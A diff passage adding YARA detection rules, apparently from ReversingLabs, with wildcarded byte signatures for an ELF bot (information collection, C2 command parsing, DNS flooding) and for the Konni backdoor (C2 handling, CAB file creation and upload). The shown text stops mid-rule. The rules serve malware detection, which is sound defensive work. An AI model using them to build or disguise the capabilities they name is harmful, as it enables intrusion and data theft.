+            24 ?? 89 84 24 ?? ?? ?? ?? 0F B7 44 24 ?? 89 14 24 66 89 84 24 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 94 24 ?? ?? ?? ?? 89 5C 24 ?? 89 14 24 E8 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ??
+            83 B8 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 C7 ?? 89 C2
+            C1 FA ?? F7 F9 8D 42 ?? 66 C1 C8 ?? 66 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 31 D2 C7
+            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 2C 24 F7 35 ?? ?? ?? ??
+            8B 04 95 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? 8D 44 24 ?? 89 44
+            24 ?? E8 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 83 80 ?? ?? ?? ?? ?? 83 90 ?? ?? ?? ?? ??
+            83 3D ?? ?? ?? ?? ?? 74 ?? C7 04 24 ?? ?? ?? ?? E8
+        }
+		$collect_system_information_64_p1 = {
+            41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? 4C 8D 84 24 ??
+            ?? ?? ?? 48 8D 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ??
+            ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ??
+            ?? 0F 31 48 89 D3 48 8D 7C 24 ?? 31 F6 48 C1 E3 ?? 89 C0 48 01 C3 E8 ?? ?? ?? ?? BF
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 48 89 D5 48 8D 7C 24 ?? 31 F6 48 C1 E5 ?? 89 C0 45
+            31 E4 48 01 C5 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 2B 44 24 ?? 48 29 DD 48 8B 54 24 ??
+            2B 54 24 ?? BF ?? ?? ?? ?? F2 48 0F 2A C5 48 8D AC 24 ?? ?? ?? ?? 69 C0 ?? ?? ?? ??
+            01 D0 F2 0F 2A C8 F2 0F 5E C1 F2 0F 2C D8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C1 BE ??
+            ?? ?? ?? BF ?? ?? ?? ?? 31 C0 41 89 D8 48 8D 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 05
+            ?? ?? ?? ?? BF ?? ?? ?? ?? 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? BE
+            ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 E0 B9 ?? ?? ?? ?? 48 89 EF F3 48 AB
+        }
+		$collect_system_information_64_p2 = {
+            48 89 DF 48 89 DA 48 89 EE B1 ?? F3 48 AB BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24
+            ?? BE ?? ?? ?? ?? 48 89 DF 31 C0 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 E0 B9
+            ?? ?? ?? ?? 48 89 DF F3 48 AB 8B 44 24 ?? BE ?? ?? ?? ?? 48 89 DF 8D 90 ?? ?? ?? ??
+            85 C0 0F 49 D0 31 C0 C1 FA ?? 89 54 24 ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 DE BF
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? BE ??
+            ?? ?? ?? BF ?? ?? ?? ?? 41 89 C5 E8 ?? ?? ?? ?? 4C 89 E0 B9 ?? ?? ?? ?? 48 89 EF F3
+            48 AB 48 89 DF 48 89 DA 48 89 EE B1 ?? F3 48 AB BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 45 85
+            ED 75 ?? BA ?? ?? ?? ?? 48 89 DE BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 3D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? BF
+            ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 7C 24 ?? 31 C9
+            BA ?? ?? ?? ?? 31 F6 E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D C3
+        }
+		$send_system_info_64 = {
+            55 53 48 81 EC ?? ?? ?? ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 48
+            8D 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? BE ??
+            ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 48 89 D3 31 F6 48 89 E7 48 C1 E3 ?? 89
+            C0 48 01 C3 E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 48 89 D5 48 8D 7C 24
+            ?? 31 F6 89 C0 48 C1 E5 ?? 48 01 C5 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 2B 04 24 48 29
+            DD 48 8B 54 24 ?? 2B 54 24 ?? BF ?? ?? ?? ?? F2 48 0F 2A C5 69 C0 ?? ?? ?? ?? 01 D0
+            F2 0F 2A C8 F2 0F 5E C1 F2 0F 2C D8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C1 BE ?? ?? ??
+            ?? BF ?? ?? ?? ?? 31 C0 41 89 D8 E8 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? BA ?? ?? ?? ??
+            BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? BA ?? ?? ?? ??
+            BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5B 5D C3
+        }
+		$parse_c2_commands_64 = {
+            41 57 31 C0 49 89 FF B9 ?? ?? ?? ?? 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48
+            8D 9C 24 ?? ?? ?? ?? 40 88 B4 24 ?? ?? ?? ?? 4C 8D AC 24 ?? ?? ?? ?? 4C 8D A4 24 ??
+            ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 DF F3 48 AB C7 07 ?? ?? ?? ?? BF ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 48 8D 43 ?? 48 89 84 24 ?? ?? ?? ?? 0F 1F 00 8B 3D ?? ?? ?? ?? 31 C9
+            BA ?? ?? ?? ?? 48 89 DE E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 44 8B B4 24 ?? ??
+            ?? ?? 45 85 F6 0F 84 ?? ?? ?? ?? 31 C0 44 89 F6 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 84
+            24 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 41 83 FE ?? 0F 84 ?? ?? ??
+            ?? 41 83 FE ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 41 83 FE ?? 0F 84 ?? ??
+            ?? ?? 41 83 FE ?? 0F 84 ?? ?? ?? ?? 41 83 FE ?? 0F 84 ?? ?? ?? ?? 41 83 FE ?? 0F 85
+            ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? F3 48 AB 48 8B 84 24 ?? ??
+            ?? ?? 4C 8B 9C 24 ?? ?? ?? ?? 4C 8B 94 24 ?? ?? ?? ?? 4C 8B 8C 24 ?? ?? ?? ?? 4C 8B
+            84 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? C7 07 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ??
+            48 8B 84 24 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 8B 94 24
+            ?? ?? ?? ?? 4C 8B B4 24 ?? ?? ?? ?? 4C 8B AC 24 ?? ?? ?? ?? 4C 8B A4 24 ?? ?? ?? ??
+            48 8B AC 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 84 24
+            ?? ?? ?? ?? 4C 89 9C 24 ?? ?? ?? ?? 4C 89 94 24 ?? ?? ?? ?? 4C 89 8C 24 ?? ?? ?? ??
+            4C 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 89 B4 24
+            ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ??
+            4C 89 A4 24 ?? ?? ?? ?? 48 89 AC 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 84 24
+            ?? ?? ?? ?? 49 89 57 ?? 48 8B 94 24 ?? ?? ?? ?? 49 89 77 ?? 48 8D B4 24
+        }
+		$dns_flood_64_p1 = {
+            41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 49 89
+            FC BB ?? ?? ?? ?? 48 8D 7C 24 ?? 48 89 D9 4C 89 E6 48 8D AC 24 ?? ?? ?? ?? F3 48 A5
+            8B 06 48 89 CB 89 07 0F B7 46 ?? 8B 35 ?? ?? ?? ?? 66 89 47 ?? BF ?? ?? ?? ?? 31 C0
+            E8 ?? ?? ?? ?? 48 C7 04 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 66 C7 04 24 ?? ??
+            66 C7 44 24 ?? ?? ?? E8 ?? ?? ?? ?? 31 D2 BE ?? ?? ?? ?? BF ?? ?? ?? ?? F7 35 ?? ??
+            ?? ?? 89 D2 8B 04 95 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? BA ?? ??
+            ?? ?? 48 89 E6 89 C7 41 89 C5 E8 ?? ?? ?? ?? 48 89 D8 B9 ?? ?? ?? ?? 48 89 EF F3 48
+            AB 48 8D 7C 24 ?? BE ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ??
+            48 8D 7D ?? 48 8D 74 24 ?? 89 84 24 ?? ?? ?? ?? 0F B7 44 24 ?? 66 89 84 24 ?? ?? 00
+            00 E8 ?? ?? ?? ?? 48 89 EE 48 89 DF C6 84 24 ?? ?? ?? ?? ?? C6 84 24
+        }
+		$dns_flood_64_p2 = {
+            66 C7 84 24 ?? ?? 00 00 ?? ?? 66 C7 84 24 ?? ?? 00 00 ?? ?? 66 C7 84 24 ?? ?? 00 00
+            ?? ?? 66 C7 84 24 ?? ?? 00 00 ?? ?? E8 ?? ?? ?? ?? 48 89 D9 8B 01 48 83 C1 ?? 8D 90
+            ?? ?? ?? ?? F7 D0 21 C2 81 E2 ?? ?? ?? ?? 74 ?? 89 D0 C1 E8 ?? F7 C2 ?? ?? ?? ?? 0F
+            44 D0 48 8D 41 ?? 48 0F 44 C8 00 D2 48 83 D9 ?? 48 29 D9 48 8D 84 0C ?? ?? ?? ?? 48
+            8D 8C 24 ?? ?? ?? ?? 66 C7 00 ?? ?? 66 C7 40 ?? ?? ?? 48 89 CB 8B 13 48 83 C3 ?? 8D
+            82 ?? ?? ?? ?? F7 D2 21 D0 25 ?? ?? ?? ?? 74 ?? 89 C2 48 8D 7C 24 ?? BE ?? ?? ?? ??
+            C1 EA ?? A9 ?? ?? ?? ?? 0F 44 C2 48 8D 53 ?? 48 0F 44 DA 00 C0 48 83 DB ?? 48 29 CB
+            E8 ?? ?? ?? ?? 8B 44 24 ?? 48 8D BC 24 ?? ?? ?? ?? 48 89 EE 89 84 24 ?? ?? ?? ?? 0F
+            B7 44 24 ?? 66 89 84 24 ?? ?? 00 00 E8 ?? ?? ?? ?? 48 8D 7D ?? 48 8D 74 24 ?? E8 ??
+            ?? ?? ?? 41 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 B9 ?? ??
+            ?? ?? 83 C3 ?? C1 FA ?? F7 F9 8D 42 ?? 66 C1 C8 ?? 66 89 84 24 ?? ?? 00 00 E8 ?? ??
+            ?? ?? 31 D2 48 8D B4 24 ?? ?? ?? ?? 31 C9 F7 35 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 49 89
+            E0 44 89 EF 89 D2 8B 04 95 ?? ?? ?? ?? 48 63 D3 89 44 24 ?? E8 ?? ?? ?? ?? 49 83 84
+            24 ?? ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 74 ?? BF ?? ?? ?? ?? E8
+        }
+
+	condition:
+		uint32(0)==0x464C457F and ((( all of ($collect_system_information_32_p*)) and ($send_system_info_32) and ($parse_c2_commands_32) and ( all of ($dns_flood_32_p*))) or (( all of ($collect_system_information_64_p*)) and ($send_system_info_64) and ($parse_c2_commands_64) and ( all of ($dns_flood_64_p*))))
+}
+rule REVERSINGLABS_Win64_Backdoor_Konni : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Konni backdoor."
+		author = "ReversingLabs"
+		id = "c45c23c6-be15-58cc-ae4d-631bed4a3bb2"
+		date = "2023-12-07"
+		modified = "2023-12-07"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/backdoor/Win64.Backdoor.Konni.yara#L1-L205"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "37c45e3ed23ca9f4de876f666c9f6d9bf7eee5cb1650b02cdd9f58e2ccc4b5cb"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Backdoor"
+		tc_detection_name = "Konni"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$network_communication_p1 = {
+            48 8B C4 53 55 57 41 54 41 55 41 56 41 57 48 83 EC ?? 48 8B 3D ?? ?? ?? ?? 45 33 FF
+            48 8B D9 4C 8D A7 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 49 8B CC 44 89 78 ?? 44 89 78
+            ?? 45 8B F7 44 89 78 ?? 41 8B EF E8 ?? ?? ?? ?? 4C 8D 8F ?? ?? ?? ?? 4C 8D 05 ?? ??
+            ?? ?? BA ?? ?? ?? ?? 49 8B CC 48 89 5C 24 ?? 48 89 7C 24 ?? E8 ?? ?? ?? ?? 48 8D 9F
+            ?? ?? ?? ?? 48 8B CB E8 ?? ?? ?? ?? 41 BD ?? ?? ?? ?? 45 33 C9 45 33 C0 33 C9 41 8B
+            D5 44 89 7C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 89 44 24 ?? 48 85 C0 75 ?? 83 C8 ??
+            48 83 C4 ?? 41 5F 41 5E 41 5D 41 5C 5F 5D 5B C3 4C 89 7C 24 ?? 44 89 7C 24 ?? 41 B8
+            ?? ?? ?? ?? 45 33 C9 48 8B D3 48 8B C8 C7 44 24 ?? ?? ?? ?? ?? 48 89 B4 24 ?? ?? ??
+            ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 4C 89 7C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F0 48 85
+            C0 0F 84 ?? ?? ?? ?? 4C 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 45
+            33 C9 4D 8B C4 48 8B C8 4C 89 7C 24 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 4C 89 7C 24
+            ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 45 33 C9 45 33 C0 33 D2 48 8B C8 44 89
+            7C 24 ?? FF 15 ?? ?? ?? ?? 45 33 C9 45 33 C0 48 8B CB 85 C0 74 ?? 48 8D 94 24 ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 45 33 C9 48 8B CB 45 33 C0 33 D2 FF 15 ?? ?? ??
+            ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ??
+            41 8B C5 E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 85 C0 75 ?? 48 8B CB EB ?? FF C0 B9 ??
+            ?? ?? ?? 8B D0 89 84 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B E0 48 85 C0 74 ?? 44 8B
+        }
+		$network_communication_p2 = {
+            84 24 ?? ?? ?? ?? 33 D2 48 8B C8 E8 ?? ?? ?? ?? 45 33 C9 4C 89 7C 24 ?? 48 8D 0D ??
+            ?? ?? ?? 45 8D 41 ?? BA ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
+            FF 15 ?? ?? ?? ?? 4C 8B E8 48 8B CB 48 83 F8 ?? 75 ?? 45 33 C9 45 33 C0 33 D2 FF 15
+            ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ??
+            ?? ?? ?? 83 C8 ?? E9 ?? ?? ?? ?? 44 8B 84 24 ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 49
+            8B D4 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? BF ?? ?? ?? ?? 0F 1F 00 44 39 BC 24
+            ?? ?? ?? ?? 74 ?? 48 8D 15 ?? ?? ?? ?? 49 8B CC 41 8B EF E8 ?? ?? ?? ?? 48 85 C0 0F
+            45 EF 3B EF 74 ?? 44 8B 84 24 ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 49 8B D4 49 8B CD
+            4C 89 7C 24 ?? FF 15 ?? ?? ?? ?? 44 8B 84 24 ?? ?? ?? ?? 44 03 B4 24 ?? ?? ?? ?? 33
+            D2 49 8B CC E8 ?? ?? ?? ?? 44 8B 84 24 ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 49 8B D4
+            48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 7C 24 ?? 49 8B CD FF 15 ??
+            ?? ?? ?? 49 8B CC FF 15 ?? ?? ?? ?? 45 33 C9 45 33 C0 33 D2 48 8B CB FF 15 ?? ?? ??
+            ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ??
+            83 C8 ?? 45 85 F6 0F 44 E8 8B C5 48 8B B4 24 ?? ?? ?? ?? 48 83 C4 ?? 41 5F 41 5E 41
+            5D 41 5C 5F 5D 5B C3
+        }
+		$handle_c2_commands_p1 = {
+            48 89 5C 24 ?? 48 89 74 24 ?? 57 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4
+            48 89 84 24 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? 48 8D 54 24 ?? 33 FF 48 8B CE 89 7C 24
+            ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? 48 8B 15 ?? ??
+            ?? ?? 48 8B 08 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 4B
+            ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 4B ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0
+            75 ?? 48 8B 4B ?? 8D 50 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 4C 24 ?? 33 D2 41 B8
+            ?? ?? ?? ?? 66 89 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 4B ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ??
+            48 8B 15 ?? ?? ?? ?? 48 8B 4B ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 53 ?? 48 8D 0D ??
+            ?? ?? ?? 45 33 C0 FF 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 ?? ??
+            ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 4B ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 4B ?? E8 ??
+            ?? ?? ?? 69 C0 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48
+            8B 4B ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 4B ?? E8 ?? ?? ?? ?? 69 C0 ?? ?? ?? ?? 89
+        }
+		$handle_c2_commands_p2 = {
+            05 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 63 4C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 8B 4C CB ?? E8
+            ?? ?? ?? ?? 48 8B CE 85 C0 75 ?? 8D 50 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 D2 E8 ??
+            ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 0B E8 ?? ?? ?? ?? 48 63 4C 24 ??
+            48 8B 15 ?? ?? ?? ?? 48 8B 4C CB ?? 85 C0 75 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 63 4C
+            24 ?? 48 8D 15 ?? ?? ?? ?? 48 8B 4C CB ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 3B 48 83
+            C9 ?? 33 C0 66 F2 AF 33 D2 48 F7 D1 48 8D 0C 4E E8 ?? ?? ?? ?? EB ?? 48 8B 3B 48 83
+            C9 ?? 33 C0 66 F2 AF 8D 50 ?? 48 F7 D1 48 8D 0C 4E E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ??
+            ?? 85 C0 75 ?? 8D 48 ?? EB ?? 33 C9 E8 ?? ?? ?? ?? 8B F8 48 8B CB FF 15 ?? ?? ?? ??
+            8B C7 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B
+            5B ?? 49 8B 73 ?? 49 8B E3 5F C3
+        }
+		$create_cab_file_and_upload_p1 = {
+            48 89 5C 24 ?? 55 56 57 41 54 41 57 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48
+            8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 4C 8B 3D ?? ?? ?? ?? 33 DB 48 8B F1
+            48 8D 4D ?? 33 D2 41 B8 ?? ?? ?? ?? 44 8B E3 89 5C 24 ?? 89 5C 24 ?? 66 89 5D ?? E8
+            ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 66 89 9D ?? ?? 00 00 E8 ??
+            ?? ?? ?? 33 C0 48 8D 4C 24 ?? 66 89 5C 24 ?? 48 89 44 24 ?? 89 44 24 ?? 66 89 44 24
+            ?? FF 15 ?? ?? ?? ?? 0F B7 54 24 ?? 0F B7 4C 24 ?? 44 0F B7 44 24 ?? 0F B7 44 24 ??
+            0F B7 7C 24 ?? 89 54 24 ?? 89 44 24 ?? 89 4C 24 ?? 89 7C 24 ?? 44 89 44 24 ?? 4C 8D
+            05 ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 48 8D 4D ?? 33 D2 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 55 ?? B9 ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 4C 8D 4D ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? 45 33 C0 FF 15 ?? ?? ??
+            ?? 48 8D 4D ?? FF 15 ?? ?? ?? ?? 8D 53 ?? 48 8B CE E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ??
+            ?? 48 8B C8 48 8B F8 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B CF E8 ??
+            ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D
+            15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B CF E8
+            ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? 48
+        }
+		$create_cab_file_and_upload_p2 = {
+            8D 4D ?? 48 8B D6 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 0B C0 E9 ?? ?? ?? ?? 48 8D 55 ?? 45
+            33 C0 48 8B CE FF 15 ?? ?? ?? ?? 45 33 C9 48 89 5C 24 ?? 48 8D 4D ?? 45 8D 41 ?? BA
+            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ??
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 83 F8 ?? 75 ?? 8B C3 EB ?? 33 D2 48 8B C8
+            FF 15 ?? ?? ?? ?? 8B F0 85 C0 75 ?? 48 8B CF FF 15 ?? ?? ?? ?? 8B C3 EB ?? FF C6 B9
+            ?? ?? ?? ?? 8B D6 44 8B EE FF 15 ?? ?? ?? ?? 4C 8B E0 48 85 C0 75 ?? 48 8B CF FF 15
+            ?? ?? ?? ?? 8B C3 EB ?? 4D 8B C5 33 D2 48 8B C8 E8 ?? ?? ?? ?? 4C 8D 4C 24 ?? 44 8B
+            C6 49 8B D4 48 8B CF 48 89 5C 24 ?? FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 8B
+            44 24 ?? 89 44 24 ?? 85 C0 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? 48 8D 4D ?? 4C 89 B4 24 ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? 44 8B 6C 24 ?? B9 ?? ?? ?? ?? 41 83 C5 ?? 41 8B FD 41 8B
+            D5 48 89 7C 24 ?? FF 15 ?? ?? ?? ?? 4C 8B F0 48 85 C0 0F 84 ?? ?? ?? ?? 44 8B C7 33
+            D2 48 8B C8 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B F0 48 85 C0 74 ?? 33
+            C0 48 83 C9 ?? 4C 8D 86 ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? 66 F2 AF 49 89 00 49 89 40
+            ?? 48 F7 D1 49 89 40 ?? 49 89 40 ?? 48 FF C9 03 C9 74 ?? 8B D1 48 8D 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? EB ?? 48 8B F3 49 89 B7 ?? ?? ?? ?? 48 85 F6 0F 84 ?? ?? ?? ?? 44 8B
+        }
+		$create_cab_file_and_upload_p3 = {
+            44 24 ?? 4D 8B CE 49 8B D4 48 8B CE 44 89 6C 24 ?? E8 ?? ?? ?? ?? 49 8B 8F ?? ?? ??
+            ?? 48 85 C9 74 ?? E8 ?? ?? ?? ?? 49 8B CC 49 89 9F ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48
+            83 C9 ?? 33 C0 48 8D BD ?? ?? ?? ?? 66 F2 AF 48 F7 D1 41 8D 84 4D ?? ?? ?? ?? B9 ??
+            ?? ?? ?? 8B D0 89 44 24 ?? FF 15 ?? ?? ?? ?? 4C 8B E8 48 85 C0 0F 84 ?? ?? ?? ?? 44
+            8B 44 24 ?? 33 D2 48 8B C8 E8 ?? ?? ?? ?? 8B 54 24 ?? 4C 8D 8D ?? ?? ?? ?? 4C 8D 05
+            ?? ?? ?? ?? 49 8B CD E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 49 8B D6 8B C8 4C 8B C7 89 44 24
+            ?? 49 03 CD E8 ?? ?? ?? ?? 8B 4C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 03 CF 41 B8 ?? ?? ??
+            ?? 49 03 CD E8 ?? ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? 49 8D 8F ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 45 33 C9 45 33 C0 41 8D 51 ?? 33 C9 89 5C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F0 48
+            85 C0 0F 84 ?? ?? ?? ?? 48 89 5C 24 ?? 89 5C 24 ?? 49 8D 97 ?? ?? ?? ?? 41 B8 ?? ??
+            ?? ?? 45 33 C9 48 8B C8 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 5C 24
